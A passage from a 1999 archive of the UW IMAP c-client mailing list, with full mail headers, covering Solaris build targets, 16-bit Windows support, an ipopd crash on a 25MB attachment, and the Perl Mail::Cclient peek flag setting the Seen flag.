sparc SUNW,Ultra-1 The first problem is that I can't determine the right target to make the library. What is the recommended target: sun, ssn, gsu, what? make sun gives me: /usr/ucb/cc: language optional software package not installed So I suppose this compile is not available. make gsu gives In file included from osdep.c:38: osdep.h:37: sys/dir.h: No such file or directory sys/dir.h is in /usr/ucbinclude (not in /usr/include) so I added -I /usr/ucbinclude in src/osdep/unix/Makefile flags. But then it gives a lot of errors like In file included from osdep.c:38: osdep.h:55: conflicting types for `strtoul' /usr/include/stdlib.h:97: previous declaration of `strtoul' osdep.h:57: conflicting types for `memmove' /usr/include/string.h:37: previous declaration of `memmove' In file included from osdep.c:61: nl_unix.c:80: parse error before `*' nl_unix.c: In function `strcrlflen': What should I do then to build the c-client library in this machine? Regards, Manuel Lemos Web Programming Components using PHP Classes. Look at: http://phpclasses.UpperDesign.com/?user=mlemos@acm.org -- E-mail: mlemos@acm.org URL: http://www.mlemos.e-na.net/ PGP key: http://www.mlemos.e-na.net/ManuelLemos.pgp -- From pinedev@shivax2.cac.washington.edu Sun Oct 17 10:41:52 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 17 Oct 1999 10:41:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA20044 for ; Sun, 17 Oct 1999 10:41:50 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA25296; Sun, 17 Oct 1999 10:41:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA09278; Sun, 17 Oct 1999 10:40:37 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA53640 for ; Sun, 17 Oct 1999 10:39:53 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rim@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA03083 for ; Sun, 17 Oct 1999 10:39:53 -0700 Message-Id: Date: Sun, 17 Oct 1999 10:36:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Manuel Lemos Cc: c-client@u.washington.edu, php-dev@lists.php.net, webmaster@net-virtual.com Subject: re: Building IMAP c-client 4.6 library under Sun OS In-Reply-To: <1347.959T1033T3943914mlemos@acm.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You have Solaris, not SUN-OS. SUN-OS is Sun's BSD-based system from 10 years ago. Once upon a time, these distinctions were obvious, but Sun's marketing cretins then decided to re-use the SUN-OS name. Try either "make sol" or "make gso". Be sure to do "make clean" first. From pinedev@shivax2.cac.washington.edu Thu Oct 21 00:54:17 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Oct 1999 00:54:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA24618 for ; Thu, 21 Oct 1999 00:54:15 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA24906; Thu, 21 Oct 1999 00:54:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id AAA06714; Thu, 21 Oct 1999 00:51:38 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id AAA17166 for ; Thu, 21 Oct 1999 00:49:40 -0700 Received: from hotmail.com (f323.hotmail.com [207.82.250.248]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id AAA08999 for ; Thu, 21 Oct 1999 00:49:39 -0700 Received: (qmail 4117 invoked by uid 0); 21 Oct 1999 07:49:36 -0000 Received: from 212.153.205.241 by www.hotmail.com with HTTP; Thu, 21 Oct 1999 00:49:36 PDT Message-Id: <19991021074936.4116.qmail@hotmail.com> Date: Thu, 21 Oct 1999 07:49:36 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Koos Starfield" To: c-client@u.washington.edu Subject: windows 3.1 & c-client Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [212.153.205.241] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there anyone who has some experience implementing c-client on the 16 bit windows platform, using trumpet winsock? thanks in advance. Koos Starreveld Netherlands. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 21 03:10:17 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Oct 1999 03:10:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA29700 for ; Thu, 21 Oct 1999 03:10:11 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA27274; Thu, 21 Oct 1999 03:10:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id DAA04900; Thu, 21 Oct 1999 03:07:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id DAA13784 for ; Thu, 21 Oct 1999 03:05:23 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (alan@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA17605 for ; Thu, 21 Oct 1999 03:05:23 -0700 Message-Id: Date: Thu, 21 Oct 1999 02:56:41 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Koos Starfield Cc: c-client@u.washington.edu Subject: re: windows 3.1 & c-client In-Reply-To: <19991021074936.4116.qmail@hotmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 21 Oct 1999 07:49:36 GMT, Koos Starfield wrote: > Is there anyone who has some experience implementing c-client on the 16 bit > windows platform, using trumpet winsock? We did that a lot time ago; it's the 16-bit DOS port, using wsk. However, it's rather silly to do in this day and age, even more so is fretting about 16-bit programming A much better choice is to use the 32-bit code and install Win32s on the Win3.x system. From pinedev@shivax2.cac.washington.edu Fri Oct 22 09:54:15 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Oct 1999 09:54:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA02611 for ; Fri, 22 Oct 1999 09:54:14 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA00809; Fri, 22 Oct 1999 09:54:12 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA26952; Fri, 22 Oct 1999 09:50:34 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA51662 for ; Fri, 22 Oct 1999 09:47:40 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA04010 for ; Fri, 22 Oct 1999 09:47:39 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (8.8.8/8.8.8) id MAA506119; Fri, 22 Oct 1999 12:41:30 -0400 (EDT) Message-Id: <199910221641.MAA506119@gatecoms.gatecom.com> Date: Fri, 22 Oct 1999 16:41:29 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "ptr@gatecom.com" To: c-client@u.washington.edu Subject: EEE-normous File Attachments Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 206.253.247.130 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I realize the ridiculous cause of the problem, but as a company system admin, my cries for sanity are rarely heard. What is the best way to deal with huge file attachments in c-client and ultimately, imapd/ipopd? My situation is that I have someone sending 25 megabyte file attachments, and it bombs during retrieval of that particular message. Both my custom interface and handlers (using c-client) as well as ipopd and imapd are having problems, so I think this is something within the library (imap-4.6.BETA). I'm certain that c-client is bouncing up against some limit on the machine; perhaps /var/tmp or /tmp space? The machine does not appear to be using any swap space while it's manipulating the mailbox, and no drastic This has happened under SGI Irix 6.5. Any ideas? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 22 10:18:56 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Oct 1999 10:18:56 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA03384 for ; Fri, 22 Oct 1999 10:18:55 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA14935; Fri, 22 Oct 1999 10:18:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA05505; Fri, 22 Oct 1999 10:16:11 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA54616 for ; Fri, 22 Oct 1999 10:13:58 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (ajohnson@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA08515 for ; Fri, 22 Oct 1999 10:13:58 -0700 Message-Id: Date: Fri, 22 Oct 1999 09:57:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "ptr@gatecom.com" Cc: c-client@u.washington.edu Subject: re: EEE-normous File Attachments In-Reply-To: <199910221641.MAA506119@gatecoms.gatecom.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 22 Oct 1999 16:41:29 GMT, ptr@gatecom.com wrote: > What is the best way to deal with huge file attachments in c-client > and ultimately, imapd/ipopd? There must be adequate virtual memory (and ideally physical memory) to handle the attachment. Depending upon the mailbox format, you may need considerably more memory; I would not try to make a 32MB RAM system handle 25MB attachments. One problem is that c-client needs to know the exact size of the attachment in CRLF-normalized form before sending it, as well as present it in that form; this presents considerable complications (especially with partial fetches) since in the default UNIX mailbox format the data is not in that form. Just about the only way to avoid this problem is for IMAP clients *only*; they can use the partial fetching functions and field the reassembly of the attachment in their own code. This doesn't apply for POP clients, or for local mailbox access. > My situation is that I have someone sending 25 megabyte file attachments, > and it bombs during retrieval of that particular message. Please clarify what you mean by "bombs"; that's too imprecise to make a diagnosis. What, precisely, happens? What error message do you get? > Both my custom interface and handlers (using c-client) What are your "custom interface and handlers"? Do you mean c-client drivers into some private mailbox format? Do you mean your own client and user interface? > as well as ipopd and > imapd are having problems, so I think this is something within the library > (imap-4.6.BETA). I'm certain that c-client is bouncing up against some > limit on the machine; perhaps /var/tmp or /tmp space? I can't determine this without knowing what message c-client issued. > The machine does not appear to be using any swap space while it's > manipulating the mailbox Running out of swap space is the likely explanation; followed by running out of some arbitrary per-process memory use limitation. The details of the "bomb" are important in diagnosis. From pinedev@shivax2.cac.washington.edu Fri Oct 22 11:13:42 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Oct 1999 11:13:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA04749 for ; Fri, 22 Oct 1999 11:13:40 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA16795; Fri, 22 Oct 1999 11:13:38 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA18675; Fri, 22 Oct 1999 11:11:01 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA49108 for ; Fri, 22 Oct 1999 11:06:48 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA05704 for ; Fri, 22 Oct 1999 11:06:46 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (8.8.8/8.8.8) id OAA487883; Fri, 22 Oct 1999 14:00:35 -0400 (EDT) Message-Id: <199910221800.OAA487883@gatecoms.gatecom.com> Date: Fri, 22 Oct 1999 18:00:34 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "ptr@gatecom.com" To: c-client@u.washington.edu Subject: re: EEE-normous File Attachments Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 206.253.247.130 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > There must be adequate virtual memory (and ideally physical memory) to handle > the attachment. Depending upon the mailbox format, you may need considerably > more memory; I would not try to make a 32MB RAM system handle 25MB > attachments. This particular machine as 256meg of physical memory, 300MB of swap (don't know how SGI arrives at that calculation for swap). > > One problem is that c-client needs to know the exact size of the attachment in > CRLF-normalized form before sending it, as well as present it in that form; This problem is in retrieval of the message. > Please clarify what you mean by "bombs"; that's too imprecise to make a > diagnosis. What, precisely, happens? What error message do you get? > I'll give the latest edition as an example. The mailbox has 4 messages, 1, 2 & 3 are plain/text messages. Message 4 is multipart, part 1 is plain/text, part two is an image base64 encoded. With IPOPD, I can stat the mailbox, retrieve messages 1, 2, and 3 as well as start retrieval of message 4. IPOPD coredumps as soon as the headers have been sent, and the connection is subsequently closed. Under a handler that I wrote using c-client, I'm able to "stat" the mailbox using mail_status() as well as get a listing of the messages in the box. However, when I want to retrieve message 4, it stops functioning without a core dump (any hint on telemetry logging would be appreciated). Do you mean c-client drivers > into some private mailbox format? Do you mean your own client and user > interface? My own c-client interface. Generally, my interface has no hope of ever seeing attachments this large, but I am using it for experimental purposes. > I can't determine this without knowing what message c-client issued. > I will open up internal.txt and refresh myself on the callback functions, and then see what c-client has to say. From pinedev@shivax2.cac.washington.edu Fri Oct 22 11:58:54 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Oct 1999 11:58:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA05935 for ; Fri, 22 Oct 1999 11:58:53 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA18211; Fri, 22 Oct 1999 11:58:51 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA20628; Fri, 22 Oct 1999 11:55:46 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA33624 for ; Fri, 22 Oct 1999 11:51:29 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (okamoto@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA23057 for ; Fri, 22 Oct 1999 11:51:29 -0700 Message-Id: Date: Fri, 22 Oct 1999 11:14:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "ptr@gatecom.com" Cc: c-client@u.washington.edu Subject: re: EEE-normous File Attachments In-Reply-To: <199910221800.OAA487883@gatecoms.gatecom.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 22 Oct 1999 18:00:34 GMT, ptr@gatecom.com wrote: > This particular machine as 256meg of physical memory, 300MB of swap (don't > know how SGI arrives at that calculation for swap). Such a machine is certainly quite suitable for a modest attachment of 25MB. > With IPOPD, I can stat the mailbox, retrieve messages 1, 2, and 3 as well as > start retrieval of message 4. IPOPD coredumps as soon as the headers have > been sent, and the connection is subsequently closed. Have you looked at the core dump? That should be your first step in finding out what happened. At least find out what it was doing and get a stack trace. It's a waste of time to talk about the problem until you do this. > Under a handler that I wrote using c-client, I'm able to "stat" the mailbox > using mail_status() as well as get a listing of the messages in the box. What is a "handler"? The closest word in c-client's lexicon is "driver", but it sounds to me like you're referring to an "application", possibly a server. > However, when I want to retrieve message 4, it stops functioning without a > core dump (any hint on telemetry logging would be appreciated). What do you mean by "stops functioning"? Does it loop, gaining CPU time? Is it in an I/O wait? How to do telemetry logging depends a lot upon what it is you are doing. I haven't a clue from your message whether you're reading the file yourself or via a POP server, whether you are using standard UNIX mailbox format or a local format, whether the problems are in c-client or your code. I'm trying to help you, but unfortunately your reports are still too vague for me to figure out what's going on. As I said above, your very first step should be to look into that ipop3d core dump and get a stack trace. I'm hoping that it'll be something easy, like "it called abort() through fatal() with text ". Next, we need to separate c-client issues from issues in your code. We need to settle the question of whether or not you are writing your own drivers; your use of the word "handler" is raising this question. If not, the question turns to whether or not ipop3d is modified by you in any way. Once we get that out of the way, we can then talk about what your code is doing, and how that might interfact and cause the problem. One final note: POP is a wretched protocol to use with messages that have 25MB attachments. Why are you using POP instead of IMAP? From pinedev@shivax2.cac.washington.edu Fri Oct 22 17:25:24 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Oct 1999 17:25:24 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA15880 for ; Fri, 22 Oct 1999 17:25:23 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA30469; Fri, 22 Oct 1999 17:25:21 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id RAA27226; Fri, 22 Oct 1999 17:23:25 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA49788 for ; Fri, 22 Oct 1999 17:21:00 -0700 Received: from aiko.milobaik.com (dmcpherson.dsl.patriot.net [209.249.182.15]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA11382 for ; Fri, 22 Oct 1999 17:20:59 -0700 Received: from well.com (darkstar.milobaik.com [192.168.0.1]) by aiko.milobaik.com (8.9.3/8.8.7) with ESMTP id UAA15015 for ; Fri, 22 Oct 1999 20:13:37 -0400 Message-Id: <3810FF03.E671549C@well.com> Date: Fri, 22 Oct 1999 20:19:17 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: davis mcpherson To: c-client@u.washington.edu Subject: Use of 'peek' flag with Perl Mail::Cclient package MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------1D9B81A08231F51DAD53F9DB" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------1D9B81A08231F51DAD53F9DB Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I've written a mail client in Perl using the Mail::Cclient package to fetch messages from an IMAP server (the server i'm using is the Cryus server)...This client fetches messages but I do not what the /Seen flag to be set so I pass the 'peek' flag in my calls to to fetchtext for non MIME messages and to fetchbody when fetching the attachments of MIME messages...for non-MIME the peek seems to work and the message is not marked as /Seen on the server..however for MIME messages the /Seen flag is set when my client does the fetchbody call...If anyone has seen this behavior or knows how to properly use the 'peek' flag I would greatly appreciate some insight.... thanks for your help and if any additional information or clarification of my setup is required to help solve this problem please e-mail me --------------1D9B81A08231F51DAD53F9DB Content-Type: text/x-vcard; charset=us-ascii; name="davism.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for davis mcpherson Content-Disposition: attachment; filename="davism.vcf" begin:vcard n:mcpherson;davis tel;cell:240-460-2791 tel;home:301-589-5409 tel;work:301-565-4641 x-mozilla-html:FALSE org:milo software adr:;;;;;; version:2.1 email;internet:davism@well.com note:ICQ 50158277 x-mozilla-cpt:;22320 fn:davis mcpherson end:vcard --------------1D9B81A08231F51DAD53F9DB-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 22 18:53:14 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Oct 1999 18:53:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA17970 for ; Fri, 22 Oct 1999 18:53:12 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA21530; Fri, 22 Oct 1999 18:53:10 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id SAA16947; Fri, 22 Oct 1999 18:51:21 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id SAA09296 for ; Fri, 22 Oct 1999 18:48:53 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA18080 for ; Fri, 22 Oct 1999 18:48:53 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA02110; Fri, 22 Oct 1999 18:48:52 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (trebor@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA28510; Fri, 22 Oct 1999 18:48:52 -0700 Message-Id: Date: Fri, 22 Oct 1999 18:47:47 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: davis mcpherson Cc: c-client@u.washington.edu Subject: re: Use of 'peek' flag with Perl Mail::Cclient package In-Reply-To: <3810FF03.E671549C@well.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm fairly sure this problem is with the Perl code. I don't see how a fetch body operation can fail to respect the peek flag when it comes to whether or not \Seen should be set implicitly. From pinedev@shivax2.cac.washington.edu Sat Oct 23 04:09:32 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sat, 23 Oct 1999 04:09:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA28858 for ; Sat, 23 Oct 1999 04:09:31 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA12484; Sat, 23 Oct 1999 04:09:29 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id EAA00847; Sat, 23 Oct 1999 04:07:22 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id EAA34286 for ; Sat, 23 Oct 1999 04:06:14 -0700 Received: from aiko.milobaik.com (dmcpherson.dsl.patriot.net [209.249.182.15]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA19815 for ; Sat, 23 Oct 1999 04:06:13 -0700 Received: from well.com (darkstar.milobaik.com [192.168.0.1]) by aiko.milobaik.com (8.9.3/8.8.7) with ESMTP id GAA15259 for ; Sat, 23 Oct 1999 06:58:51 -0400 Message-Id: <3811963E.70B30A36@well.com> Date: Sat, 23 Oct 1999 07:04:30 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: davis mcpherson To: c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: Re: Use of 'peek' flag with Perl Mail::Cclient package References: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------A3D202DAC982C0F834277C38" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------A3D202DAC982C0F834277C38 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I'm certain you are right...just hoping someone had seen this problem before...i'll look thru the Perl Mail::Cclient package source today and see if I can determine what is going on... Mark Crispin wrote: > I'm fairly sure this problem is with the Perl code. I don't see how a fetch > body operation can fail to respect the peek flag when it comes to whether or > not \Seen should be set implicitly. --------------A3D202DAC982C0F834277C38 Content-Type: text/x-vcard; charset=us-ascii; name="davism.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for davis mcpherson Content-Disposition: attachment; filename="davism.vcf" begin:vcard n:mcpherson;davis tel;cell:240-460-2791 tel;home:301-589-5409 tel;work:301-565-4641 x-mozilla-html:FALSE org:milo software adr:;;;;;; version:2.1 email;internet:davism@well.com note:ICQ 50158277 x-mozilla-cpt:;22320 fn:davis mcpherson end:vcard --------------A3D202DAC982C0F834277C38-- From pinedev@shivax2.cac.washington.edu Mon Oct 25 18:28:13 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 25 Oct 1999 18:28:13 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu 